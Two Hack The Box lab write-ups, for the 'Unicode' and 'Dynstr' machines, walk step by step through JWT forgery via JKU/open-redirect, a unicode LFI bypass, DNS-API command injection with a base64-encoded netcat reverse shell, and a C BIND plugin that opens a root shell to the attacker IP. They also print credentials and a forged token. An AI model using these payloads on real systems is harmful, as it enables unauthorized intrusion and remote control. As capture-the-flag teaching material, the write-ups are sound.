Hack The Box: Unicode

Prelude

Unicode was an intermediate machine developed by wh0am1root. This was a pretty interesting machine and it is all about bypassing filters. It had a cool initial foothold vector involving crafting a custom JWT, by using an open redirect vulnerability to bypass a JWK URL filter. After that, we could exploit an LFI to get a shell on the box bypassing the LFI filter using unicode characters.

To get root, we again bypass blacklist filter in a python compiled binary application, that can be run as root.

Let me elaborate on how I solved this box.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.11.126
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E06EE2ACCCCCD12A0FD09983B44FE9D9
|_http-title: 503
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I’ve navigated to port 80 and found the following site.

Right off the bat, I saw an open redirection in the site, from the Google about us button.

If we click on Google about us, it’ll take us to
http://10.10.11.126/redirect/?url=google.com

Open Redirection means that a web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. Open Redirect cannot be considered as a vulnerability by itself. But, this can be used efficiently for phishing attacks and bypass some filters.

So as of right now, this is just an interesting find, and we have to keep digging to find any meaningful vulnerabilities.

So I’ve started gobuster and…

Oh, forgot to tell you all that I’ve shifted to Feroxbuster, after seeing it on an Ippsec video.

It’s like gobuster, but with pretty colors, have almost the same syntax as gobuster and have recursive brute forcing. It’s like mashing dirbuster and gobuster together and I love it!

I’ve feroxbuster-ed (Feels pretty weird, but I’ll allow it!) the site and found a login page.

There was also a registration page. So, I’ve registered using that form and got logged in.

It had a form to upload threat reports in PDF format.

I’ve tried different exploits, but none of them worked.

That’s when I noticed the JWT token in the target and I’ve shifted the focus to it.

I’ve decoded the JWT token and found that the token uses JKU header and it contained a URL, pointing to the JSON formatted JWK file.

A JKU header (JWK Set URL) in a JWT token refers to a JWK (JSON Web Key) object that is JSON encoded, which is used to verify the JWT.

The JSON Web Key (JWK) is a JSON object that contains a well-known public key which can be be used to validate the signature of a JWT signed with the corresponding private key.

So this means that, if the target performs improper JKU header validation, then we can host our own JWK file and thereby craft a valid JWT token. This is explained very well in this blog post.

I’ve used token.dev to generate the JWT interactively. ( JWT.io doesn’t allow modifying the JWT interactively)

I’ve tried to modify the JKU header and changed the URL to my IP address, to see if I get a call back. But it didn’t work. It showed the following error.

This means that there’s some sort of validation of the JKU header in place.

That’s when I remembered about the Open redirection I’ve found ealier.

With the help of some nudge and some trial and error method, I’ve found a valid bypass and got a connection back from the server!

Crafting JWT with malicious JKU

The payload that worked was as follows.

http://hackmedia.htb/static/../redirect/?url=10.10.14.68/jwks.json

The target validates the JKU header by checking if the URL starts with http://hackmedia.htb/static/ . So, if we go up one directory and use /redirect to point the target to my web server, then we can bypass the filter.

Now we need to craft a valid JWK in JSON format. Following is the jwks.json file’s contents.

This blog post talks about how to do this.

I’m going to change the username from secnigma to admin and validate it using my own jwks.json file.

To do this, we first need to generate a public and private key pair, extract the n and e values from the public key, update it to the jwks.json file and host the file in our web server.

Generating keypair.

openssl genrsa -out keypair.pem 2048

Extracting Public key to publickey.crt.

openssl rsa -in keypair.pem -pubout -out publickey.crt

Extracting Private key to pkcs8.key.

openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Now, we need to paste the contents of publickey.crt file into token.dev ‘s Public key section and the contents of pkcs8.key file into token.dev ‘s Private key section.

Following was the private key I’ve genereated (pkcs8.key).


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxxaay8ePWyBBP
F8G9QFz+gldVLgSmjb7uQvtrI/9n8WHEle2Qv+Bx2QReKdy+WGlK2d/bas34I5Qq
FzpNa/iq/2JL4n25igGI5EZtUbSX01nqj5PP/8mb1IlkMqxrSw3GssFQcBBraY84
pMyoH88Ab3ia65cpTrBsH6WROX9UMFOhkJz7zlbwK4th33sNBn5d5vNE/iEUNpgw
tW8lA1h94hQhmS4/7nVZPAwsb9vFyQXrNyb8jQSvnfBz81bbe63N+TxI78WGigRC
QZsP1GDaxo+YifvAjcaClx+NuaGCXlVA6XmPiSCDgHzWeumN5/kJSgIbfj8qZvfV
eUd9fInXAgMBAAECggEBAK4s3IZJL5VZ0Xjc6uqU7EhExnJjsxTInoBtSk6QJ4bc
3pCw4OFIzgxdt8TWuTwZ/Zfj3kvp2kI8Acg3l90RY8OOku2MzOgDyjsohcRIIGv9
HQUPhaBumka+t5pfd8Vr9ORwca1xDvVeqH+0H/y9paBkl0MafrFvMrXNT/f44MNH
MAbQaDYivh7Y4lFFA3mA5zKUX4LhrMrP8UG3a3F2zUVxJRMwsKVf8uVLRwHhRhjw
HOp5cY96J2gDo1utd/wxmsiNdbw/41fokySD8xXiNTdjjDEL/dryS6XlWCiTwblr
nBKWf670p19RORnU5ACcFGTwb6qFLuge/4QZVdbfXGECgYEA22XG6yTKKmOpByBQ
UDhqQSbxLhbG/VJH+1DnX6Gmk1H9YvOdlG2gkoXTtXW8hM1sJ4QThpJzgdF4QFVC
j/LvHdWySlm7mn8yy+dZ0peNo3xVG+NYpJR9XWuyS3Z0Ejoe5LYqyy3rUODkH65L
i+xg51F+d+eeZo1fc6absSnZ87ECgYEAz24YpXNZXTfSLmsg/dc8c72xjQAvt6r/
K4BaWG/q4frA8J38itvLaT7ke/ZVaNSXhBgiWsvZu+MZRXtxAjG8x43PqD0Pg7me
BcL0OUI2oOFleSCmVMnJmgDe2RUv2qMXSj5SkIWdzUJXgFIheehhtlzxevgSeTkA
5kyYnWcM4AcCgYBlsVovWgEe/sy1EeRIGq4dfthhnYsklgPpWEm2iO318RX6zKKo
ztuTrtY/kNAN2k2cT1rhkHZboOUVJK/Smy78bDXUwpzzcqvv2U9IDplHQvUMFSfc
OTuWlrmwwrnwTOJO7qUNQj6FYYg7qwU3WRxde+eb2k8Qh8zLhVk7GAP/MQKBgQDO
eWW5ExeqDY1+vQ5K/ntjLjhVBRF6fpCe6ZWEoGqqZGK3YFtokR5p9buTlQExZyQm
zassu+tQ9d5K5nP33jBuZr+EVLtjwFkGnSdi84DTJWlPZ+uJTI8LZ8BrT4ah2GOv
eFfRGd+Y2GenCJnf8iuJTfzlDZe96Lr3gtkLHO+Y8wKBgHn4GXVSgAh91kizzyhg
/K2991pfxjYVPP/TijX9pYjDzhI53iYiK4sttiMKwnc3LFrfZrXOcavZP0enIL4P
ZX4mWCpsDB+Dz35TxfQ5ol7WT+0T2BFwBd3EXUMZ/Hf+EX2+8TH8IsqA8ykrvIvP
e+hNVbfUdiZjuxGnS2wJlQvu
-----END PRIVATE KEY-----

Following was the public key I’ve genereated (publickey.crt).

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAscWmsvHj1sgQTxfBvUBc
/oJXVS4Epo2+7kL7ayP/Z/FhxJXtkL/gcdkEXincvlhpStnf22rN+COUKhc6TWv4
qv9iS+J9uYoBiORGbVG0l9NZ6o+Tz//Jm9SJZDKsa0sNxrLBUHAQa2mPOKTMqB/P
AG94muuXKU6wbB+lkTl/VDBToZCc+85W8CuLYd97DQZ+XebzRP4hFDaYMLVvJQNY
feIUIZkuP+51WTwMLG/bxckF6zcm/I0Er53wc/NW23utzfk8SO/FhooEQkGbD9Rg
2saPmIn7wI3Ggpcfjbmhgl5VQOl5j4kgg4B81nrpjef5CUoCG34/Kmb31XlHfXyJ
1wIDAQAB
-----END PUBLIC KEY-----

If everything went right, token.dev will display Verified in green color.

My JWT is now signed using the private key I’ve generated.

Now I need to find the n and e values from the public key and update it to the jwks.json file.

There was a python script provided in the given post, which will generate the required values from the public key in hex format.

So I did all of that and tried to login to the website, but it failed.

After some time and with the help of some nudges, I’ve found my mistake. The original jwks.json file had the n and e values in Base64 encoded format; not Hex format.

I’ve used the following python script to extract n and e values in a base64 encoded format.

# Generating n and e paramaeters
from Crypto.PublicKey import RSA
from base64 import b64encode as b64
def int2bytes(number):
    return number.to_bytes((number.bit_length() + 7) // 8, byteorder="big")
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
n = b64(int2bytes(key.n)).decode()
e = b64(int2bytes(key.e)).decode()
print("n:", n.replace('+', '-').replace('/', '_'))
print("e:", e)

And I’ve updated the jwks.json file with the base64 encoded n and e values.

{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "scWmsvHj1sgQTxfBvUBc_oJXVS4Epo2-7kL7ayP_Z_FhxJXtkL_gcdkEXincvlhpStnf22rN-COUKhc6TWv4qv9iS-J9uYoBiORGbVG0l9NZ6o-Tz__Jm9SJZDKsa0sNxrLBUHAQa2mPOKTMqB_PAG94muuXKU6wbB-lkTl_VDBToZCc-85W8CuLYd97DQZ-XebzRP4hFDaYMLVvJQNYfeIUIZkuP-51WTwMLG_bxckF6zcm_I0Er53wc_NW23utzfk8SO_FhooEQkGbD9Rg2saPmIn7wI3Ggpcfjbmhgl5VQOl5j4kgg4B81nrpjef5CUoCG34_Kmb31XlHfXyJ1w==",
            "e": "AQAB"
        }
    ]
}

Then I’ve used the following JWT and got logged in as administrator!

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjY4L2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.pf8C0OrtgfC4NELecpmfRtM9yZkhk9bk7p1qyugXJOeaODHK1CYprHH2yJHFk1qn-HoGomLVwzr3njzQZn5DyyRnM52HCPgfwOZL5yz_fI6UgZR0QupllPCIkoM9n-UfLw8avJ6SdxKAzjKEo_xUKN0ztK0SN1Y_eKngJwhz-eNbyDIYt9owW2FaZddk-vYJZnPxOJ0idrAQr_0paRDf8ZOQ8DKDO6eKDgADYUQ7-nXDZybS9xVZPpSBanb9xI2CpLQQRbgSaLSxBrSyvliMRiXaFSIoRJ2wsfTSdVfQLkNk6NkKlvRMnH5YGhM7YEVc7irz_Pre6lAQmsl1A6nqMA

The admin dashboard had some links to reports. If we click the link, it will direct us to a website with a URL, that takes the PDF file names of the report as the GET parameter.

Naturally I’ve suspected LFI.

So, I’ve tried the good old ../../../../../etc/passwd payload, but it showed a peculiar output.

So, there’s some sort of filtering in place to prevent LFI. But can we bypass it? If yes, then how?

The answer lies in the name of this machine. Unicode!

This blog post does a great job at explaining about bypassing WAFs, using Unicode characters.

In short, this is a lot like URL parsing vulnerabilities mentioned in Orange Tsai’s presentation called Breaking Parsing Logic.

We could use Unicode Compatibility of the WAF, to normalize unicode characters into ASCII; so that we could bypass any filters in place that checks only ASCII characters.

As mentioned in the post, we could use this site to convert ASCII values to it’s unicode representaion.

I’ve used the unicode equivalent of ../ to test this bypass technique. The unicode payload is given below.

http://10.10.11.126/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/etc/passwd

I’ve used this payload to succesfully bypass the WAF and include the /etc/passwd file.

Here, we are passing {‥ (U+2025)} character and the Flask web server is normalising it to ASCII’s .. {Double dots}, thereby bypassing the filter.

After that, I’ve started manual enumeration of files using LFI.

Manual enumeration using LFI

I’ve found the Home directory of a user named code by requesting /proc/self/environ file.

Then confirmed the directory’s existence using
/home/code/.bashrc

And got user.txt this way.

Then I requested the file /etc/nginx/sites-enabled/default and got a very intersting file and it’s possible location.

From this, we know that the web root is /home/code/coder and we need to find a file named db.yaml
I requested /home/code/coder/db.yaml and found the password.

I’ve used the password B3stC0d3r2021@@! to login as code via SSH.

That was a loooong user pwn!

Privilege Escalation

Ran sudo -l and found that code can run a binary named treport as root.

The file had three functionalities.

Create, Read, and Download a threat report.

I’ve tried some common exploits and the program generated a familiar error message.

This looks a lot like Python error! So, this binary is compiled from a python script.

I’ve searched for Python disassembly and found some cool tools.

To disassemble python binaries, we first have to disassemble it into a .pyc file, which is the compiled bytecode. After that, we can convert it to a human readable .py script.

Pretty neat!

I’ve used pyinstxtractor to extract ELF to pyc.

python pyinstxtractor.py ../treport

The files will be extacted to a directory named ./treport_extracted.
Then, we can use Decompyle++ to convert .pyc file to Human readable .py file.

But we have to build decompyle++ first.

I’ve used the following commands to build Decompyle++.

cmake -G "Unix Makefiles" 
make clean
make install

If the compilation was succesful, then you’ll see a binary file on the directory named pycdc.

Now we can run pycdc to convert the .pyc file to .py file.

./pycdc ../pyinstxtractor/treport_extracted/treport.pyc > ../treport.py

And I’ve got a readable .py file.

After reading the source code, noticed that there’s a blacklist to filter input when downloading the report.

It blocks the user from accessing files with the protocoles file, gopher or mysql.
However, it only checks the input if the string has the protocol specified in lowercase. This means that we can bypass this blacklist, by specifying the file protocol specifier as File.

I’ve used the following payload to extract the root flag using the follwoing payload.

File:///root/root.txt

I’ve tried SSH-ing into the box using the Private key, but couldn’t.

Errm.. Kinda w00t?

Then I’ve found out about a way to execute commands in bash, without using white space.

So, cat /etc/passwd will become {cat,/etc/passwd}

Here’s the PayloadAllTheThings page about this technique.

We are going to hijack the cURL command and redirect the output to write an SSH public key as an authorized_keys file.

We can then use the private key of the corresponding public key that we wrote and gain shell via that method.

Fist, we’ve got to generate an SSH keypair.

ssh-keygen -f root.key

Now, host the file in a python web server and use the following payload in treport.

{10.10.14.62/root.key.pub,-o,/root/.ssh/authorized_keys}
Saving public key as authorized_keys file

Now, we can login as root via SSH, using the private key we generated.

ssh -i root.key root@10.10.11.126

Finally w00t!

Postlude

And that was Unicode!
A great machine that taught me several new techniques and was an incredible learning experience!

Kudos to wh0am1root for creating such an awesome machine!

Also thanks to opcode, kavigihan, ZyzzBrah, Yuma-Tsushima07, NLTE and alemusix for all the lessons they’ve taught and nudges they’ve given.

Peace out! ✌️

Hack The Box: Dynstr

Prelude

Dynstr is an intermediate box from Hack The Box, developed by jkr. This is an excellent machine and this machine taught me new things like API fuzzing and re-taught me the basics of DNS and some cool DNS tools.

This machine required the player to fuzz a dynamic DNS update API and gain Remote Code Execution that way.

Once the initial foothold is gained, we’ll find two things. A public key from an strace output and that the SSH is only allowed from certain domains .

Once we find the means to update the desired DNS record, we can login as the user via SSH using the private key we obtained earlier. For the privilege escalation, we have to exploit the bash script that can be run as sudo.

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan.

# Nmap 7.91 scan initiated Mon Jul 12 21:39:15 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.055s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Three ports are open.

The unusual port here is the port 53 running ISC BIND service, which is a DNS service.

I started the enumeration with port 80.

I Navigated to http://10.10.10.244/ and found the following website.

In the same webpage, there were some hostnames and a shared credential provided to use the DDNS service.

Another interesting thing is that this page mentions that they use no-ip API for dynamic DNS update.

There’s also a hostname leak from the contact us email id.

I then started a gobuster scan and found the following directories.

Pretty standard directory listing except for the /nic directory.

So, I googled for No-IP API and found the syntax for updating dynamic DNS using the No-IP API. Link

So I send a request to test if it is indeed an API running at the target, using the following command.

I used the shared credentials given in the web page.

curl http://dynadns:sndanyd@dyna.htb/nic/update

And the API responded with nochg, as mentioned in the No-IP API documentation. So, I was confident that this is the NO-IP API to dynamically update the DNS records.

I’ve also found ways to update the IP address of the hostnames provided in the website. However, I couldn’t update the IP address of the hostname dyna.htb, as it returned error.

cURL command for updating IP address of domains.

curl http://dynadns:sndanyd@dyna.htb/nic/update\?hostname\=no-ip.no-ip.htb\&myip\=10.10.10.244

This is where I was stuck initially. I thought that I had to change the IP address of some domain, listen for incoming requests intended for the domains and capture the credentials using responder or something like that. But, that wasn’t the case.

Then I thought that I had to exploit some CVE in No-IP API. So, I began googling NO-IP vulnerabilities and exploits, but with no success.

They both were rabbitholes.

Sad GIFs | Tenor

Fuzzing the API and gaining RCE

After being stuck for quite some time and getting some nudge from peers, I started to fuzz the parameters of the requests towards the API and found that the API behaves differently when some special characters are passed to the hostname parameter.

ffuf -c  -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://dynadns:sndanyd@dyna.htb/nic/update\?hostname=\FUZZtest.dnsalias.htb\&myip=10.10.14.38 -fs 22

These are bash special characters. So, I decided to encode the `id` command with URL encode and pass it with the hostname parameter.

%60%69%64%60

Final PoC:

curl http://dynadns:sndanyd@dyna.htb/nic/update\hostname\=\"%60%69%64%60id.dnsalias.htb\&myip\=10.10.14.38

And got code execution!

Then I tried to upgrade this RCE to a reverse shell. But, there was a slight problem.

Since this is a GET request, I can’t specify the IP address as dots (.) in the reverse shell payload as it would be a bad character and it will break my payload.

So, I decided to base64 encode my payload before URL encoding it to safely pass my payload to the target.

Payload I used:

echo -n cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjM4IDkwMDEgPi90bXAvZg==|base64 -d |bash

I then encoded this payload with URL encoding and send the URL encoded payload along with the hostname parameter to the API.

TL;DR: Reverse Shell payload -> Base64 encoded -> bash one liner to execute base64 encoded payload -> URL encoded -> Hostname parameter

Mind Blowing GIFs - Get the best GIF on GIPHY
Command-ception!

Full PoC I used to gain reverse shell:

GET /nic/update?hostname="%60%65%63%68%6f%20%2d%6e%20%63%6d%30%67%4c%33%52%74%63%43%39%6d%4f%32%31%72%5a%6d%6c%6d%62%79%41%76%64%47%31%77%4c%32%59%37%59%32%46%30%49%43%39%30%62%58%41%76%5a%6e%78%7a%61%43%41%74%61%53%41%79%50%69%59%78%66%47%35%6a%49%44%45%77%4c%6a%45%77%4c%6a%45%30%4c%6a%4d%34%49%44%6b%77%4d%44%45%67%50%69%39%30%62%58%41%76%5a%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%20%7c%62%61%73%68%60test.dnsalias%2ehtb&myip=10.10.14.38 HTTP/1.1
Host: dyna.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: curl/7.74.0
Accept: */*
Connection: close

And I got a shell back as www-data !

Privilege Escalation to User

Once we are in as www-data we can see that the home directory of user bindmgr is publicly accessible and we can see some interesting things in the directory.

The first thing that I found interesting is that we can read the /home/bindmgr/.ssh/authorized_keys file and in the file, it says that connection is only allowed from subdomains of infra.dyna.htb.

So, first we have to update the DNS record to something.infra.dyna.htb to our IP address to gain access to SSH.

Another interesting thing is inside a support directory inside bindmgr‘s home directory, which contains an strace output, where the SSH private key of bindmgr is present.

So, I saved the private key file into my machine.

Now I needed to find how to update the hostname to my IP address.

Finding the TSIG key

I found the PHP script used to update /var/www/html/nic/update and it showed that the DNS record was updated using nsupdate command; a utility used to update DNS records dynamically.

Code block in update, that updates the DNS record+

In the code block, we can see that a file named ddns.key located at /etc/bind is passed as a parameter to nslookup along with the DNS record updates.

This is a TSIG (Transaction SIGnature) key, which is a cryptographic secret that authenticates DNS update requests.

The keys are defined in Bind’s configuration, which is located at /etc/bind/named.conf.

Opening /etc/bind/named.conf showed the following contents.

So, I looked at /etc/bind/named.conf.local and found the following information.

Contents of named.conf.local

In the /etc/bind/named.conf.local file, we can see that to update the hostnames under the zone dyna.htb, we need the aptly named TSIG key infra.key.

I checked the file permissions and sure enough we can read the file /etc/bind/infra.key.

Now that we know how to perform the DNS record update, let’s update it.

What we need to do is that we need to choose a subdomain under infra.dyna.htb and update the PTR record of the selected subdomain with our IP address. Here, I am selecting the subdomain test. infra.dyna.htb

We are selecting the PTR record because SSH will be performing reverse lookup of the connecting IP address to determine the hostname validity.

So if the reverse lookup fails, then SSH will not allow the connection.

I actually stumbled on here for some time, as for some reason my stressed out brain decided to update the A record instead of PTR record. But with some help from peers, I was able to solve the issue and went back on track.

Updating DNS Record to match the SSH config

The syntax to update the PTR record in nsupdate is as follows.

nsupdate -t 1 -k /etc/bind/infra.key
> update add 38.14.10.10.in-addr.arpa 300 PTR test.infra.dyna.htb
> send
> quit

And the record was updated.

I tested the DNS change by performing an nslookup in the target.

But why the .in-addr.arpa part?

If you are unfamiliar with PTR records, you might be wondering what is the reversed IP address with the .in-addr.arpa hostname. You might’ve atleast seen this type of hostnames when doing a traceroute.

This is because the PTR record is added in a special way into the DNS records.

Reverse DNS lookups for IPv4 addresses use the special domain .in-addr.arpa. If we want to perform a reverse lookup of an IP address, we have to reverse the IP address, append the result with the hostname .in-addr.arpa and lookup the PTR record of the hostname. (For IPv6, the special hostname is ip6.arpa)

I’ll explain this with an example.

Say we want to lookup the hostname of the IP address 8.8.4.4 (Google DNS). Then we have to lookup the PTR record of the hostname 4.4.8.8.in-addr.arpa.

We can check the PTR record of an IP address using dig using the following command.

dig -x 8.8.4.4
Result of dig reverse lookup

From the reverse lookup, we can see that the hostname is dns.google and it is stored against the hostname 4.4.8.8.in-addr.arpa.

Now that the theory part is resolved, let’s get back to the exploitation.

SSH-ing as bindmgr and Privilege Escalation

Now that the PTR record is configured, let’s SSH into bindmgr using the private key we saved earlier from the strace output found in bindmgr‘s home directory.

ssh -i id_rsa bindmgr@10.10.10.244

And I was in as bindmgr!

Naruto Smile GIFs | Tenor

Once I was in, I issued sudo -l and found that the user bindmgr can run a bash script /usr/local/bin/bindmgr.sh as root, without providing password.

So, I looked at the script bindmgr.sh.

The script runs as a workaround to include multiple configuration files into bind’s named.conf.local file.

The script first checks for a file .version in the current working directory and compares it with the file /etc/bind/named.bindmgr/.version and if the current working directory contains a larger number, then it copies all of the files in the present working directory to /etc/bind/named.bindmgr/ .

Then it will create a file /etc/bind/named.conf.bindmgr to include all files in /etc/bind/named.bindmgr/.

I looked at the documentation of BIND server to see that if there’s anyway that we could obtain code execution using the configuration file directives and found a way.

Bind server can include custom plugins, which is in the C shared library (.so) format.

The documentation mentioned the plugin need four functions named:

  • plugin_register
  • plugin_destroy
  • plugin_version
  • plugin_check

So, I created a C file named plugin.c with those functions and filled the function with reverse shell payload obtained from here.

Contents of plugin.c:

/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "10.10.14.38"
#define REMOTE_PORT 9002

void plugin_register()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}

void plugin_destroy()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}
void plugin_version()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}
void plugin_check()
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    /*return 0; */
}

Then I compiled it to C shared object using the following command.

gcc -shared -fPIC plugin.c -o plugin.so

I then created a directory named /home/bindmgr/test and copied the plugin.so file to the said directory.

Then I added a file named invoke in /home/bindmgr with the following contents, so that it will load the plugin.so file to the Bind server.

plugin query "/home/bindmgr/test/plugin.so" {
    parameters
};

Then I created a file named .version along with the invoke file with a number.

echo 1 > .version

If we need to run the bindmgr.sh script multiple times, then increment this number by 1, or else the bindmgr.sh script will fail.

I then started a netcat listener on port 9002 , as it is the port number I specified on the C reverse shell script and executed the following command.

 sudo /usr/local/bin/bindmgr.sh

And I got a root shell back!

Russian Club Kid Losing His Mind On The Dance Floor | Spotify playlist  covers aesthetic, Music cover photos, Playlist covers aesthetic
w00t!

Postlude

And that was Dynstr!

This was an incredible box and even though I struggled at times, I learned and re-learned lot of things.

Thank you and Kudos to jkr for creating such an awesome machine!

Also, special thanks to 0xAniket for nudging me in the right direction!

Peace out! ✌️